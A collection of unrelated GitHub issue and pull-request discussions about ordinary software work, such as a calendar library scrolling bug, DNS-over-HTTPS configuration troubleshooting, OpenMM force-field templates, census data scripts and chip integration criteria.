Line 50, Column 33: [Warning: ms-prod-technology-invalid - See documentation] Invalid value for 'ms.technology': 'cpp-azure' is not valid with 'ms.prod' value 'configuration-manager'.
Line 57, Column 46: [Warning: ms-service-subservice-invalid - See documentation] Invalid value for 'ms.subservice': 'azure-active-directory' is not valid with 'ms.service' value 'azure'.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

@LandoSun : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Need to implement signed authentication

Basic auth is deprecated; may be removed at any time.

Done!


Calendar not scrolling in UIView

IMPORTANT - BEFORE CREATING YOUR ISSUE PLEASE READ THE FOLLOWING:

PLEASE STATE THE VERSION NUMBER you are using.
7.1.5
Are you using the latest version of JTAppleCalendar? Latest version is currently 7.1.5
Yes
PROVIDE ENOUGH INPORMATION SO I CAN RECREATE THE PROBLEM.

I added the Calendar in a separate XIB File and import it in a ViewContainer to keep my ViewController clean. I needed to import the Cell programmatically as it is not possible inside a XIB file, but this should not matter. The Calendar is displayed correctly and it scrolls programmatically.
But it doesn't scroll under my finger. Everything is like in your demo (first video) and in your sample app. (Interaction enabled, paging, bounces, ...). What can cause this?

@ogezue
I'm not sure what problems you faced but.

You can implement your calendar with code, or with storyboard, or with XIB
You can implement your cells with code, or with storyboard, or with XIB

can you provide me your sample app via a zip file? if you upload it on gitbuh i can fix it for you.

awesome - tank you. I will provide an example later :)

CalendarTest.zip
@patchthecode I could create a small example and I could figure out that there is a problem with another dependency called "EmptyDataSet-Swift". This one creates a view that is before the calendar-view. My touch doesn't reach the calendarView so this why it is not scrolling. The strange thing is, that  this view is inside the view hierarchy of the calendar collection view.

@ogezue

Another strange thing is why I get 6 rows with this configuration:
Not strange. This library has rows: 1, 2, 3, 6

You want a 4-row calendar? Can you show me a image of what you want the calendar to look like?

My use case is that users need to select a date from a predefined date range (today until 7 to unlimited days). I don't want to waste to much screen size so if I need only 20 days there should be 5 rows if 20 days do not fit exactly into 3 rows if the first day of the week is always fix (linke Monday). Hope you can follow this explanation... Could you figure out the problem with EmptyDataSet?

It seems that the EmptyDataSet problem is caused by EmptyDataSet, so the author will take care of it.
Regarding the row-number problem: Is it possible to get more flexibility and have 4 or 5 rows? And as a plus: Could I define where the month could start if I need only days 20 to 30 of a month? Days 1-19 wouldn't be necessary to be displayed.

regarding 4-row and 5-row, you will have to show me an image of how you want the months to look with 4 and 5 row.
Take 4 row for example. Please show me an image of how Jan, Feb and Mar will look with 4 row.
Because in my mind this will look unbalanced. But if you can show me how you want it to look, then maybe I can think of something. Having 4 rows on one month, will mean mean that another 2 rows will be hanging somewhere. I cannot visualize it.

My use case is that the user needs to select a date between today and the next 14 days. So with the week starting on Monday I only would nee 2 rows where this fits in. Tomorrow this would nee 3 rows where the days where Monday in first row and the days from Tuesday are not selectable.
With your current solution this is what I have so far. 4 rows that are not needed

For today my ideal solution would look like this.

Changing this would mean to have a new mode of your calendar. Currently you are focused on calendar month. The new mode would focus on date ranges with a reference to calendar. In my opinion this would enrich your library.

Hmm. lets talk some more on this.
I'll be online here here for most of the day -> https://gitter.im/patchthecode/JTAppleCalendar

closing this issue as problem relates to other library.
I have put an enhancement flag on your other issue.

4 rows have now been added.
Im experimenting with it.


Move loading of file out of constructor

[PROPOSAL]
2.1.*, 5.2
Expected behaviour
I want to be able to catch exception if the loading of the file fails when doing the import.
In my importer I use the function getFile() to download the file from server and save it to the disc.
If this fails I am not able to catch the exception happened.
Actual behaviour
Right now loading of the file based on the getFile() method is done in __constructor of ExcellFile class.
If we inject the Import class which extends ExcellFile in the controller for example, loading of the file is done right when the controller dependencies are being resolved.
I propose to move loading of the file out of controller and do it later, like in the handleImport() method.
This way we can catch exceptions happening during loading of the file.

That's unfortunately something we can't do now as it would potentially break a lot of apps. Will put it on the list of the next mayor release.


PV2-3149 - Added PeriodEnd.Messages and simplied code-build.yml

I don't remember what this was for but https://github.com/SkillsFundingAgency/das-payments-v2-datalocks/pull/10 has taken priority


Add LinkList slice to article/story

Adds a new slice to the articles/story custom type for creating a list of links
Will be used to create the following on the Podcast page

Ah you're right! completely forgot about the tags component - already built another component to display these, doh!

Ah you're right! completely forgot about the tags component - already built another component to display these, doh!

superseded by #5976

superseded by #5976


[WIP] Implement GAFF/AM1-BCC residue template generator for simtk.openmm.app.ForceField

This is the beginning of the implementation of a GAFF/AM1-BCC residue template generator for small molecules for use with the new simtk.openmm.app.ForceField ability to hook in residue template generators.
Example usage:
from simtk.openmm.app import ForceField, NoCutoff
# Load my PDB file containing a ligand
pdb = PDBFile(pdb_filename)
# Create a ForceField object, loading GAFF parameters.
forcefield = ForceField('amber99sbildn.xml', 'tip3p.xml', 'gaff.xml')
# Register the GAFF residue template generator.
from openmoltools.forcefield_generators import gaffTemplateGenerator
forcefield.registerTemplateGenerator(gaffTemplateGenerator)
# Create an OpenMM system, calling antechamber as needed to parameterize small molecules.
system = forcefield.createSystem(pdb.topology, nonbondedMethod=NoCutoff)

Note that this does not yet work with residues that have external bonds (like unnatural amino acids or covalently-attached ligands), but that feature is coming soon.
There are several hurdles to be overcome:

[ ] Test and debug bond order perception
[ ] Extra parameters generated by parmchk2 need to be incorporated
[ ] Find a solution for molecules for multiple chiral centers

Note that this feature also currently requires OpenEye (for writing Tripos mol2 files) and ParmEd (for reading GAFF-format mol2 files).

This nearly works, but we need to fix an issue with scee/scnb in ParmEd:
https://github.com/ParmEd/ParmEd/issues/568

cc: https://github.com/choderalab/perses/issues/67
It looks like we might be able to go either from an OpenMM Topology Residue (using Antechamber's bondtype bond perception) or an OEMol molecule.
Both the pre-generation of residue templates:
forcefield = ForceField('amber99sb.xml', 'tip3p.xml', 'gaff.xml')
[template, ffxml] = generateResidueTemplate(molecule)
forcefield.registerResidueTemplate(template)
forcefield.loadFile(StringIO(ffxml))
system = forcefield.createSystem(topology)

and the residue template generator plugin
# Initialize ForceField
forcefield = ForceField('amber99sb.xml', 'tip3p.xml', 'gaff.xml')
from openmoltools.forcefield_generators import gaffTemplateGenerator
forcefield.registerTemplateGenerator(gaffTemplateGenerator)
# Now, when you need to create a new System...
system = forcefield.createSystem(topology)

should work.
I've also added a convenience function to go from a Residue to an OEMol:
molecule = generateOEMolFromTopologyResidue(residue)

though it only works with residues that are separate molecules and not polymeric molecules connected to other residues.
generateResidueTemplate() also supports an optional argument residue_atoms where you can provide a list of atoms that form the polymeric repeating unit of the residue.  This would allow us to pass an OEMol molecule for, say, a modified amino acid with capping groups, along with a list of the atoms that are not capping groups, and it will parameterize the residue and make sure the charges are integral.  This feature hasn't been tested yet, but it should be relatively easy to get working when we need it.

OK, this feature passes tests locally.  Merging to run full test suite.


doh-client encounter error

I updated to latest git version and reinstall on my Mac High Sierra
my upstream server is <IP_ADDRESS>, and I dig google.com @<IP_ADDRESS> not responding

Would you please give me a longer screenshot?

I guessed your configuration but couldn't reproduce the bug.
Here is my guessed configuration, is it close to yours?
listen = ["<IP_ADDRESS>:53", "[::1]:53"]
upstream_google = [
    "https://<IP_ADDRESS>/dns-query",
    "https://<IP_ADDRESS>/dns-query",
]
upstream_ietf = []
bootstrap = []
timeout = 30
no_ecs = false
no_cookie = false
no_ipv6 = false
verbose = true

Please paste your configuration file, with a longer screenshot of Console.app.

Server doh-server.conf
# HTTP listen port
listen = [
    "<IP_ADDRESS>:8053",
    "[::1]:8053",
]

# TLS certification file
# If left empty, plain-text HTTP will be used.
# Please be informed that this program does not do OCSP Stapling, which is
# necessary for some clients to bootstrap itself.
# You are recommended to use a server load balancer (Caddy, Nginx) and set up
# TLS there.
cert = ""

# TLS private key file
key = ""

# HTTP path for resolve application
path = "/dns-query"

# Upstream DNS resolver
# If multiple servers are specified, a random one will be chosen each time.
upstream = [
    "<IP_ADDRESS>:53",
]

# Upstream timeout
timeout = 10

^G Get Help   ^O Write Out  ^W Where Is   ^K Cut Text   ^J Justify    ^C Cur Pos    M-U Undo
^X Exit       ^R Read File  ^\ Replace    ^U Uncut Text ^T To Spell   ^_ Go To Line M-E Redo
  GNU nano 2.9.3                       /etc/dns-over-https/doh-server.conf

key = ""

# HTTP path for resolve application
path = "/dns-query"

# Upstream DNS resolver
# If multiple servers are specified, a random one will be chosen each time.
upstream = [
    "<IP_ADDRESS>:53",
]

# Upstream timeout
timeout = 10

# Number of tries if upstream DNS fails
tries = 3

# Only use TCP for DNS query
tcp_only = false

# Enable logging
verbose = true

Client doh-client conf
listen = ["<IP_ADDRESS>:53", "[::1]:53"]
upstream_google = [
    "https://<IP_ADDRESS>/dns-query",
    "https://<IP_ADDRESS>/dns-query",
]
upstream_ietf = []
bootstrap = [
# Google's resolver, bad ECS, good DNSSEC
    "<IP_ADDRESS>:53",
    "<IP_ADDRESS>:53",
]
timeout = 30
no_ecs = false
no_cookie = true
no_ipv6 = false
verbose = true

Actually, I use my custom upstream server
So I connect via dnscrypt-proxy mac version is working good though doh-client not working

Please paste your configuration file, with a longer screenshot of Console.app.

Please give me a client-side log.
Try putting your server into upstream_ietf instead of upstream_google.

How can I print out client-side log on Mac?


enable tiered compilation, move to .netstandard 2.1 and use latest C#…

… lang
we should take advantage of ProfileOptimization (https://docs.microsoft.com/en-us/dotnet/api/system.runtime.profileoptimization?view=netcore-3.0) to make starting time faster once we move to .netstandard 3.0
some experiment user did on the web - https://www.dotnetperls.com/profileoptimization

tagging @MikhailArkhipov @jakebailey @bschnurr
..
can I just move straight to 3.0?

We are on .NET Core 3.0. Did you mean netstandard 2.1 vs netstandard 2.0?

@MikhailArkhipov ah. ya. I see netcoreapp3.0 for LS.

That link you gave for the ProfileOptimization says that the program must exit normally in order for the profiles to actually be written out. I'm not entirely certain that's a common scenario for us, unfortunately.

@jakebailey it is an opportunistic improvement, so it is fine even if the profile doesn't exist. dotnet will try to use it if it exists otherwise, same as before.
that being said, I tested and if vscode close by me clicking "close" or "x", then profile was saved as expected.

General note, but the PR title will need to be updated to reflect the actual changes (since we're not updating the standard).

ping?


docs: add HMR no AOT note

Partially address #8234

@filipesilva Is it temporary??

@tapas4java unsure, still investigating.

This was a mistake on my part, see https://github.com/angular/angular-cli/issues/8234#issuecomment-340188237 for the further tests I did.


Use template hooks in plugins

What kind of change does this PR introduce?
refactoring
Did you add tests for your changes?
n/a
If relevant, link to documentation update:
n/a
Summary
This PR updates the remaining plugins to use Tapable#hooks on templates.
It continues what has been done in #6101.
Does this PR introduce a breaking change?
no

Thanks


feat:Make openshift install and proxy vars default

Tested with sno and 3-node cluster on KVM (NAT).
run playbooks 5,6 and 7.
Test to specify only partial vars for install_config:
install_config:
   control:
       hyperthreading: Enabled
   machine_network: <IP_ADDRESS>/16

Fix for : https://github.com/IBM/Ansible-OpenShift-Provisioning/issues/306

@veera-damisetti Pls review this PR. It contains default vars for openshift installation config and for proxy settings.

:tada: This PR is included in version 2.2.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


MINOR: Remove use of NoSuchElementException

More detailed description of your change,
if necessary. The PR title and PR message become
the squashed commit message, so use a separate
comment to ping reviewers.
Summary of testing strategy (including rationale)
for the feature or bug fix. Unit and/or integration
tests are expected for any behaviour change and
system tests should be considered for larger changes.
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

One other thing maybe we can fix here. In ReplicatedLog.validateOffsetAndEpoch, we have the following check:
        } else if (
                earliestSnapshotId().isPresent() &&
                ((offset < startOffset()) ||
                 (offset == startOffset() && epoch != earliestSnapshotId().get().epoch) ||
                 (epoch < earliestSnapshotId().get().epoch))
        ) {

We probably should be caching the result of earliestSnapshotId. This is probably one reason it was killing performance.


whitepaper: replace ⅓+ with ≥⅓ , +⅔ with >⅔

this was making me think too hard!

Great, thank you.


:wheelchair: icon component

take care, your, user in git is not binded to your github account

xD


Update to Swift 3

@TheDarkCode
Thanks for your replying(#26) and great PR!!!  👍
But... I just implemented #27 and merged to master. So, this PR has comflicts.
Furthermore, I want to merge this changes not to master branch but swift-3.0 branch.
Could you do following ?  🙇

Fix conflicts and push.
Post new pull request to swift-3.0 branch.

I will add the changes from #27 (you merged it around the exact time I made this PR) and create a new request for the swift-3.0 branch. I didn't notice the branch until just after.

didn't notice the branch until just after.

I'm sorry that I did not prepare swift-3.0 branch before you created this PR.. 🙇
After receive your PR, I realized that swift-3.0 branch is needed and created it.

I made a new PR under #29 so I'm going to close this one.

:bow:


Exposing year on CRON expression and next 10 executions logic improvements

As described in #1822, CRON expression allows year to be specified. This pull request will expose year textbox in schedule panel, allow one time execution, and properly update the next 10 executions based on the CRON expression with a slightly improved descriptions.

Would you mind pasting some figure example show what's the change like?

@kunkun-tang they are quite large but I added screenshots for a better understanding


Correction for raw affiliation AGIR, UR 4294, Université de Picardie Jules Verne, Amiens, France

Correction needed for raw affiliation AGIR, UR 4294, Université de Picardie Jules Verne, Amiens, France
raw_affiliation_name: AGIR, UR 4294, Université de Picardie Jules Verne, Amiens, France
new_rors: 01gyxrk03
previous_rors: 01gyxrk03;01sjmsj73
works_examples: W4200293325
contact: 09fe517ef2b2e7001675c5cb532031a1:2c200aa6bda83f370f13a3e3a393bfd5 @ u-picardie.fr

This issue was accepted and ingested by the OpenAlex team on 2024-10-10. The new affiliations should be visible within the next 7 days.


Add assist to replace filter_map(..).next() with find_map(..)

Fixes https://github.com/rust-analyzer/rust-analyzer/issues/1725

Should we also check that the method of the right one (from the Iterator trait)?

I think the issue was intending for this to be a warning/hint diagnostic with a quickfix, not an assist.

Ah, I misunderstood the terminology. I’ll rewrite as a diagnostic.

I'm implementing the diagnostic version on https://github.com/rust-analyzer/rust-analyzer/pull/7062.


Use Github Actions to build firmwares

Use GitHub Actions: https://docs.platformio.org/en/latest/integration/ci/github-actions.html
See also: https://github.com/Aircoookie/WLED/blob/master/.github/workflows/wled-ci.yml

If this is OK, can you add the hacktoberfest-accepted label, please?


Add full label selector to store#Key struct

Support using all types of label matching in selector, such as exists,
contains, not-exists, etc.
What this PR does / why we need it:
Which issue(s) this PR fixes

Fixes #1201

Special notes for your reviewer:
Release note:
* Expose full selector capabilities through `Key` object

. The String method for store.Key should print requirements as well.

I think I also need to modify the Key#Validate method, regardless of exactly which struct we use for the data, as it's not valid for, e.g., an Exists operator to have values, or for an In operator to not have values.

Looks like the selector is used in two places - DynamicCache#listFromInformer and DynamicCache#listFromDynamicClient - missed the second one.


documents: add spacing between items

Hello! The attached changes fix some cramming of information in the documents list.
I am unsure how they are implemented, though, and your feedback on how to properly integrate these with the existing codebase are most welcome.
Thank you for this theme.
Before

After

Hi,
Thanks for this contribution! The documents page was a bit unloved.
I cherry-picked your changes and added mine on top of them in #228.


Adding etcd-on-cluster Dashboard to grafonnet

Type of change

[ ] Refactor
[X] New feature
[ ] Bug fix
[X] Optimization
[ ] Documentation Update

Description
Adding etcd-on-cluster Dashboard to grafonnet .
Related Tickets & Documents

Related Issue #
Closes #

Checklist before requesting a review

[X] I have performed a self-review of my code.
[ ] If it is a core feature, I have added thorough tests.

Testing

Please describe the System Under Test.
Please provide detailed steps to perform tests related to this code change.
How were the fix/results from this change verified? Please provide relevant screenshots or results.

Requesting a link to the previous and current dashboards to make sure they are exactly the same look and feel wise.

@vishnuchalla
old dashboard: http://dittybopper-dittybopper.apps.smanda-ocp1.perfscale.devcluster.openshift.com/d/z9dAtZ2Ik/etcd-cluster-info?orgId=1
new dashboard:  http://dittybopper-dittybopper.apps.smanda-ocp1.perfscale.devcluster.openshift.com/d/6KO0pZ2Ik/etcd-cluster-info-dashoard?orgId=1


Progress bar implementation

I wrote a process that indicates the progress of the simulation.
@xs.process()
class Progress:
    """Simple CLI progress bar based on runtime arguments.
    """

    count = xs.variable(description="time elapsed", intent = 'inout')
    time = xs.variable(description="current progress", intent = 'inout')
    stepper = xs.variable(description="progress marker", intent = 'inout')
    remainder = xs.variable(description="reverse stepper", intent = 'inout')

    @xs.runtime(args=['step_delta','sim_end'])
    def run_step(self, dt, sim_end):
        self.count += dt
        self.time = round((self.count/sim_end)*100, 2)
        self.stepper = "#"*int(self.time)
        self.remainder = "."*int(100-self.time)

    def finalize_step(self):
        print(f"Computing: [{self.stepper}{self.remainder}] {self.time}%", end = '\r')

    def finalize(self):
        print("\n")

I figured, by means of the runtime decorator, it is possible to extract information regarding the number of iterations and the end of the simulation. The output is a simple command-line version of a progress bar.
Of course, that means the progress bar only includes the iterative portion of the simulation, namely run_step and finalize_step, and does neither include initialize nor finalize. While it seems acceptable to neglect the former (progress bar won't be displayed before run_step), the very last step of the model process may need additional time that is not considered here. I haven't noticed this in any of the given tutorials, however, currently I'm running a rather large model over a period of one billion years in steps of 20k years (whether that makes sense for the moment remains to be seen). This already takes quite long on my machine (~50 minutes) while finalize  takes ~160 seconds. I feel that gives the wrong impression on the actual progress. Might consider to supply another output to finalize to make it clearer.
Since this is a process, it's up to the user to include it into their model. Unfortunately, I don't understand the internals of xsimlabenough (yet) to come up with a proper implementation idea. My educated guess would be to write a separate progress bar class and pass it to class Model or as a property of class Model.
During all my tests, I haven't noticed the process contributing to overhead.
Edit:
For the process, something close to the following might do the trick:
def finalize_step(self):
        if self.time < 100:
            print(f"Computing: [{self.stepper}{self.remainder}] {self.time}%", end = '\r')
        else:
            print(f"Computing: [{self.stepper}{self.remainder}] {self.time}%, Finalizing...", end = '\r')

def finalize(self):
    print("\nSimulation finished.\n")

Also, I'm curious if sys.stdout.write()would be the preferred method of choice in this context over print().

I think we can reuse much of Dask's implementation of callbacks here (see https://github.com/dask/dask/blob/7b4f90f0a708cbb97ebb498c78f7931d82ec99db/dask/callbacks.py), e.g.,
def progress(runtime_context, store):
    print(runtime_context['step'])

my_callback = xsimlab.Callback(pre_step=progress, post_step=None)

# option 1
dataset.xsimlab.run(model=model, callbacks=[my_callback])

# option 2
with xsimlab.add_callbacks(my_callback):
    out_ds1 = dataset.xsimlab.run(model=model)
    out_ds2 = dataset.xsimlab.run(model=model2)

# option 3
my_callback.register()

out_ds1 = dataset.xsimlab.run(model=model)
out_ds2 = dataset.xsimlab.run(model=model2)

my_callback.unregister()


Layouts: UX Overhaul

After the initial launch of Layouts, we have received the following feedback that we will be addressing in an overhaul of the new layouts app.

Improve the way the options are organized in the file bar.
Blend the file bar into the interface better. Currently it really does not blend with the rest of the Zesty Interface.
Select a Layout Button is hidden and is not very easy to recognize
Instance Name in the bar is not needed now
Order options in Select a Layout List in Alphabetical Order
Solve memory leak that is causing lag in Layouts
Make drag and drop experience from right sidebar intuitive
Make it intuitive to a user how they can insert an item between two existing items
Start with a width of 80%. Seeing the gutter for a website can be valuable. Without the gutter the site is so big that it is really tough to see everything on it easily.
Make the Page URL easily visible  in the title bar so that the user can quickly preview the stage and live pages
Adding loading states. It is very important as I do not know if we are waiting for something or if it froze.
View Menu
Remove JSON Output + ZHTML Output as they are not super useful to a developer.
Better Present shortcut commands as they are really valuable for users.
Adding label to signify to a user whether they are in the editing mode or in the preview mode
Add a transparent checkered or a light grey background so the user can see where their web page edges are
Add a gap to the top of the page and to the bottom of the page to make it easily evident to a user where the page starts and ends
Add zoom functionality
Shift Manage Menu Options to the Layouts Sidebar so that it is easier for a user to add in layouts
Make manage model into an edit model button that opens in a new tab
Make undo and redo buttons visible in the tool bar so that users feel more comfortable making changes to their layouts
Add indicator of whether a page layout is saved or published
We have versioning but it is not clear to a user how to see the old design
Add buttons to jump to content item (will exist) and model item and code files (multiple will exist)
If there was a plus button in the sidebar instead of the question mark for a group in the sidebar it would be better. That way we can pre fill a Class. Explaining what manage tool is.

Figma Link: https://www.figma.com/file/zOI7oSH3fG1XDmmPzsP6PX/App-Navigation?type=design&node-id=503%3A153355&mode=design&t=mN6tsniQyI4lM0gb-1


The PDF is producted without visible text - blank PDF

Which version of PhantomJS are you using? Tip: run phantomjs --version.
phantomjs-2.1.1-linux-x86_64.tar.bz2

What steps will reproduce the problem?
1.presenting a PDF

Which operating system are you using?
centos 6.4 (64 bit)

Did you use binary PhantomJS or did you compile it from source?
i did not compile it.

Please provide any additional information below.
When rendering the PDF it is presented without text in table. the table show.
although changing the font size of the invisible text changes the table size so the text is there but invisible. could it be the font family problem? i control the HTML code . so any tip will do...
thanks!

Can anyone confirm?

I'm facing a similar problem trying to capture an image from a html document. PhantomJS 2.1.1, Win10x64. In my case - it's clear that the issue is caused by a custom truetype font-face


IP Criteria to be included in the top

To continue the discussion from the HMAC testplan meeting, I would like to get the feedback what should be the criteria for top module.
I think below three condition should be okay:

RTL milestone: D1
DV milestone: V1
ip.hjson exists and comportable to the spec. (topgen can generate it)

(Optional) software driver
Mileston doc

@sjgitty
I don't feel this is finalized yet, and we certainly have designs that are not in V1 status that are successfully in earlgrey today (most notably: spi_device). I would argue strongly that there are reasons to have V0 blocks in earlgrey: it allows SW/FPGA to begin working on these before DV has ramped up (looking forward, if we continue at our current pace, DV will always lag behind.
I think we do need to come up with a definition, but I don't think it needs to be tied to a V #. For instance, it could be:

D1
some sanity verification by designer or DVer proving basic functionality
some sanity top level test that shows that it doesn't bring down the chip

I'm just throwing this out there, needs to be more heavily discussed.
Converting tag to Recreate in OT

@msfschaffner do you want to take this topic through TC?
I think the conditions defined in the op post of this issue is actually quite reasonable.
We probably just need to officially close on this.

Hm... looks like this discussion is from the time when the definitions of D*/V* were still pretty much in flux.
Our D1 checklist now contains an item called IP_INSTANTIABLE:
The unit is able to be instantiated and connected in top level RTL files. The design must compile and elaborate cleanly without errors. The unit must not break top level functionality such as propagating X through TL-UL interfaces, continuously asserting alerts or interrupts, or creating undesired TL-UL transactions.

Given that this is a D1 item, requiring V1 as well for inclusion in the top-level is going to be difficult.
However, it may make sense to add a sentence for the hjson part (point 3. from @eunchan's list).
I don't think this has to go through the TC just yet - we can discuss and try to close in the silicon WG meeting.

Actually maybe V1 isn't the right term... but I think all block levels have this basic stage that can be reached where we prove TL-UL accesses are operational.  I think really taht's the stage we want, so it's more like...V0 in a way.
WG sounds good too, I think this is just something we can and should close out.

Sounds good - I will put it on the agenda for the next meeting.

just documenting what i believe was agreed upon in the meeting:

we won't add another check point for "including in top"
there already is an IP_INSTANTIABLE item, and we will likely enhance the documentation for this item to include various other things, some of which are actually V1 items
the minimal requirement is likely the block needs to auto-generate the basic CSR testbench and ensure that CSR tests can pass before it can be integrated into the top.

@msfschaffner
@sriyerg
let me know if I got this wrong.

Indeed, this looks accurate. I will push a PR with proposed doc changes soon so that we can discuss it in the TC also (the meeting today was cancelled due to Easter holidays in the EU, hence we will likely talk about this in 2 weeks from now).

We've discussed this in the TC and updated the checklist accordingly.


kdevelop: added ability to include kdevelop plugins, kdev-php: init at 5.3.1, kdev-python: init at 5.3.1

Motivation for this change
Added php and python support as optional plugins for kdevelop.
Note: There is a bug upstream which I have submitted a patch for to fix a problem in kdevelop on nixos. See https://invent.kde.org/kde/kdevelop/merge_requests/8 for details. The issue likely won't be resolved in kdevelop before 19.03 so I suggest this PR is merged as is.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Assured whether relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg build kdevelop kdev-php kdev-python

This pull request has been mentioned on Nix community. There might be relevant details there:
https://discourse.nixos.org/t/nixos-19-03-feature-freeze/1950/31


Process 2000 PUMS demographic data and 2000, 2010, 2020 Decennial Census  demographic data from Erica

census_2000_PUMS.py
This script processes and exports the xlsx file Erica provided to DE with demographic related data points. In the original, xlsx file she provided there were some duplicate columns and columns that will need to be processed for the economic security category so I filtered these out. Columns required a bit of cleaning and chose to use regex to do this as there were a lot of columns that needed to be cleaned that followed pretty standard patterns - there might be a better way to do this but I couldn't think of anything.
decennial_census_001020.py
This script processes and exports the xlsx file Erica provided that contained demographic population data at the aggregated geography level from the decennial census in 2000, 2010, 2020. As this data is from the decennial census, there aren't any corresponding statistics (i.e cv, moe, etc). This was more straight forward and I decided to just rename the columns instead of using regex (as I had done with the other script).
internal_review
6 csv's total (3 for each script)
I tried following the naming conventions as closely as I could but honestly I could use some comments on my naming here, I was having trouble naming stuff.
decennial_census_exploratory
Not much to see here, kinda messy and was just using it to test the regex and test code.
@AmandaDoyle @SashaWeinstein  Looking forward to comments and what I can improve.

Did a first pass on the code, looks clean and good. some comments and questions but all minor
The one big change is that it needs a main accessor function that takes a geography and returns a dataframe with an index of that geography. Can change the existing functions or write a new one, either is ok.
Do we need to merge in the exploratory python notebook and filtered columns .csv? might make more sense to keep them on your local machine Max
Next going to pull down the branch and check the internal review files for accuracy and to give feedback on column names

Thanks! I'll make those changes

I took a look at the internal review files and have some more feedback. This isn't a conclusive list of what needs to be done but hopefully it will helpful for next steps
Race breakdown for 2000, 2010, 2020

Geography should be the index so there isn't a blank leftmost column
There should be one file per year and no information about the year in the column headers

All indicators 2000

Don't need 00 in column headers
Don't need z-scores
Some columns I don't recognize such bchd or p25pl

Here is my feedback on the outputs:
Decennial

[ ] Update output tables.  These are the tables we scoped out for Demographics, so unlike QOL years are broken out into separate tables for Demographic and Economic categories.
[ ] Remove total_ from field names
[ ] Remove the 'year' from the field name since they'll be in separate tables (i.e. would be pop_wnh_pct)
Otherwise numbers look good.  This would cover everything required for the Race and Hispanic origin indicator

00 PUMS WIP

[ ] Remove total_ from field names
[ ] Remove the 'year' from the field name since they'll be in separate tables
[ ] Remove _est from field names
[ ] Update _zscore to pct_moe

Great - I am working on the decennial census script now.
@SashaWeinstein bchd is bachelors degree (educational related indicators) and the p25pl is the population over 25 that those indicators use as the denominator

@AmandaDoyle  sorry about that, it is fixed now

Sorry I think my directions should have been more clear. You did a good job changing the functions so that they take a geography parameter and pass back the correct dataframe. Like the heat vulnerability your geography-specific functions can be DRY'd out in the same way but they are ok for now.
What I should have been clearer on is that the main accessor will take a year and a geography. So decennial_census_data should take a third parameter of year and only pass back the data for that year. It shouldn't be to hard to implement this change but I should have told you when I told you about the geography parameter. You can generate all 3 dataframes for each call of decennial_census_data if you want and only pass back the ones for the corresponding year or change create_<geography>_level_df_by_year to take a year parameter and only pass back one dataframe. either is ok, code will run fast so redundancy doesn't matter

This looks good to me! Column names look good, indices look good
Some minor things:

instead of hardcoding borough abbreviations you can call the function from PUMA helpers
instead of getting PUMAs like df.loc["3701":"4114"] I would filter by GeogType column.

Don't worry about these now if you don't have to. I'm creating a bunch of issues for simple refactors in issues with the enhancement label, we can document these potential upgrades there and forget about them for now

approved! this seemed like such an annoying slog, thanks for parsing through all this Max
Cannot be merged in because I have not approved final field names for PUMS

Oh ok sorry think I might be a step behind. Can we say that the code to get the total pop by race from the decennial census is ok? That was the only thing on my mind when I hit "approve", didn't think about the other survey we are looking at here


[Create single restaurant Description page #413]

Description
New screen for Restaurant Details added:

Notes:

added kotlin to the project
new gson model added: RestaurantDetails -> in objects package -> this needs to be added to proguard rules
improved proguard rules for Serializable, Gson and Logs

Fixes #413

two NPE - one in MyTripsFragment.java and one in RestaurantsCardViewAdapter

Type of change
Just put an x in the [] which are valid.

[x] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)

How Has This Been Tested?
Please describe the tests that you ran to verify your changes.

[x] ./gradlew assembleDebug assembleRelease
[ ] ./gradlew checkstyle

Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings

A few suggestions:

Instead of You can book table : true/false, if the value is true,show You can book table otherwise, hide this view.
Add icons also in the views. For example, view the city description page. Each card has a icon at the start.

suggestions done! Thank you!


store: split long on_raft_message function.

@ngaut @BusyJay @disksing @tiancaiamao

LGTM

Coverage decreased (-0.0006%) to 81.63% when pulling 3b94577ca947ca5dd477faa4e85f359fd5a7bede on siddontang/cleanup-on-raft-msg into 2fc3f29d77e76cadf83cd0afae5b986ac5960b7e on master.

LGTM

Coverage decreased (-0.05%) to 81.582% when pulling ee7e36d30da77e11b319b74e393295de9b17c49f on siddontang/cleanup-on-raft-msg into 2fc3f29d77e76cadf83cd0afae5b986ac5960b7e on master.


Create Visual Information

As a site visitor, I can see visually through their image how their service is included privacy protection, no information of client being tracked

Assigned to Yana

Branch(es)

[x] Create an issue related to this user story on Github and assign self.
[ ] Add a brach named visual-privacy-protection
[ ] After html and css are done, commit
[ ] Adjust development-strategy.md for next development, if needed
[ ] Push the changes
[ ] Pull request and merge it on Github

HTML

[ ] Add the visual content

CSS

[ ] Add styling on new elements

Documentation

Progress 1


Null safety feedback: [ retrieving value from map in a null safe way ]

I am not sure if this belongs here. I also posted it as a question on Stackoverflow. So you might feel better deleting it here and answering it over there.
I had code similar to this example code (never mind that it makes no sense):
void foo(Map<int, String> myMap) {
  String s = myMap[1];
}

The dart analyzer warns me about the line String s = myMap[1]; with the following warning:

A value of type 'String?' can't be assigned to a variable of type
'String'.  Try changing the type of the variable, or casting the
right-hand type to 'String'.

